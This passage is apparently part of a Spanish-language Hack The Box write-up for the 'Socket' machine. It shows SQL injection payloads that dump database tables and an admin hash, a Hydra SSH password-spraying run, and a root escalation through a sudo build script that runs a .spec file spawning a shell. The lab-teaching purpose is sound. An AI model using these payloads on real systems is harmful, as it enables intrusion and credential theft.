 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT tbl_name FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%"),2,3,4--'
{"message": {"id": "versions", "version": 2, "released_date": 3, "downloads": 4}}
 π ~/htb/socket ❯
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="versions"),2,3,4--'
{"message": {"id": "CREATE TABLE versions (id INTEGER PRIMARY KEY AUTOINCREMENT, version TEXT, released_date DATE, downloads INTEGER)", "version": 2, "released_date": 3, "downloads": 4}}
 π ~/htb/socket ❯

Utilizando group_concat logramos obtener las tablas de la base de datos, las cuales son cinco.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# list of all tables in the database 
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(name) FROM sqlite_schema WHERE type="table" ORDER BY name),2,3,4--' | jq
{
  "message": {
    "id": "sqlite_sequence,versions,users,info,reports,answers",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯

Listamos las columnas de cata tabla.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# list columns of each table
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="sqlite_sequence"),2,3,4--' | jq
{
  "message": {
    "id": "CREATE TABLE sqlite_sequence(name,seq)",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="versions"),2,3,4--' | jq
{
  "message": {
    "id": "CREATE TABLE versions (id INTEGER PRIMARY KEY AUTOINCREMENT, version TEXT, released_date DATE, downloads INTEGER)",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="users"),2,3,4--' | jq
{
  "message": {
    "id": "CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password DATE, role TEXT)",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="info"),2,3,4--' | jq
{
  "message": {
    "id": "CREATE TABLE info (id INTEGER PRIMARY KEY AUTOINCREMENT, key TEXT, value TEXT)",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="reports"),2,3,4--' | jq
{
  "message": {
    "id": "CREATE TABLE reports (id INTEGER PRIMARY KEY AUTOINCREMENT, reporter_name TEXT, subject TEXT, description TEXT, reported_date DATE)",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="answers"),2,3,4--' | jq
{
  "message": {
    "id": "CREATE TABLE answers (id INTEGER PRIMARY KEY AUTOINCREMENT, answered_by TEXT,  answer TEXT , answered_date DATE, status TEXT,FOREIGN KEY(id) REFERENCES reports(report_id))",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯

Dump Data

Obtuvimos la informacion de cada tabla, en la tabla users observamos un hash del usuario admin. En el caso de las otras tablas encontramos distintos nombres de usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# dump data - users
SELECT group_concat(username || "," || password) from users

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(username || "," || password) from users),2,3,4--' | jq
{
  "message": {
    "id": "admin,0c090c365fa0559b151a43e0fea39710",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(key || "," || value) from info),2,3,4--' | jq
{
  "message": {
    "id": "downloads,1000,convertions,2289",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯

SELECT group_concat(reporter_name || "," || subject || "," || description) from reports

 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(reporter_name || "," || subject || "," || description) from reports),2,3,4--' | jq
{
  "message": {
    "id": "Jason,Accept JPEG files,Is there a way to convert JPEG images with this tool? Or should I convert my JPEG to PNG and then use it?,Mike,Converting non-ascii text,When I try to embed non-ascii text, it always gives me an error. It would be nice if you could take a look at this.",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯


SELECT group_concat(answered_by || "," || answer ) from answers
 π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(answered_by || "," || answer ) from answers),2,3,4--' | jq
{
  "message": {
    "id": "admin,Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,admin,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller",
    "version": 2,
    "released_date": 3,
    "downloads": 4
  }
}
 π ~/htb/socket ❯

Creamos un wordlist con los nombres de usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
admin
Json
json
thomas
Thomas
keller
Keller
thomas keller
Thomas Keller
mike
Mike

El valor del hash de admin es denjanjade122566.

image

Hydra - SSH

Ejecutamos hydra con el wordlist y la contrasena pero no encontramos un par aceptado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/socket ❯ hydra -L wordlist.txt -p denjanjade122566 ssh://qreader.htb
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-05 21:39:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task
[DATA] attacking ssh://qreader.htb:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-05 21:39:23
 π ~/htb/socket ❯

Utilizamos usernames.py sobre el wordlist para generar nueva combinacion de usuarios. Luego de ello ejecutamos nuevamente Hydra donde encontramos un par aceptado.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 π ~/htb/socket ❯ python usernames.py wordlist.txt > users.txt
 π ~/htb/socket ❯ hydra -L users.txt -p denjanjade122566 ssh://qreader.htb
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-05 21:42:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 110 login tries (l:110/p:1), ~7 tries per task
[DATA] attacking ssh://qreader.htb:22/
[22][ssh] host: qreader.htb   login: tkeller   password: denjanjade122566
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-05 21:42:52
 π ~/htb/socket ❯

Shell

Ingresamos por SSH con las credenciales validas logrando obtener nuestra flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 π ~/htb/socket ❯ ssh tkeller@qreader.htb # denjanjade122566
tkeller@qreader.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-67-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat May  6 01:43:44 AM UTC 2023

  System load:           0.0595703125
  Usage of /:            66.6% of 8.51GB
  Memory usage:          18%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.206
  IPv6 address for eth0: dead:beef::250:56ff:feb9:2cf


 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

     https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


tkeller@socket:~$ whoami;id;pwd
tkeller
uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared)
/home/tkeller
tkeller@socket:~$ ls
user.txt
tkeller@socket:~$ cat user.txt
ff379ba41cb93b42929713dbda0bfd88
tkeller@socket:~$

Privesc

Tras ejecutar sudo -l -l observamos que es posible ejecutar como root el script build-installer.sh.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
tkeller@socket:~$ sudo -l -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
  /usr/local/sbin/build-installer.sh
tkeller@socket:~$

El script acepta varias opciones como argumento: build, make y cleanup.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

Utiliza PyInstaller, vemos en la opcion build que simplemente ejecuta el archivo que pasemos, en este caso si el archivo tiene extension .spec.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[...]

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif

   [...]

Escribimos un archivo para ejecutar bash como root.

1
2
3
4
5
tkeller@socket:~$ cat file.spec
#!/usr/bin/env python
import os
os.system("/bin/sh")
tkeller@socket:~$

Tras ejecutar el script logramos obtener una shell como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
tkeller@socket:~$ sudo /usr/local/sbin/build-installer.sh build file.spec
445 INFO: PyInstaller: 5.6.2
445 INFO: Python: 3.10.6
450 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
453 INFO: UPX is not available.
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
cleanup  root.txt  snap
# cat root.txt
6aba867a99d45960e501cfae9ec42479
#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe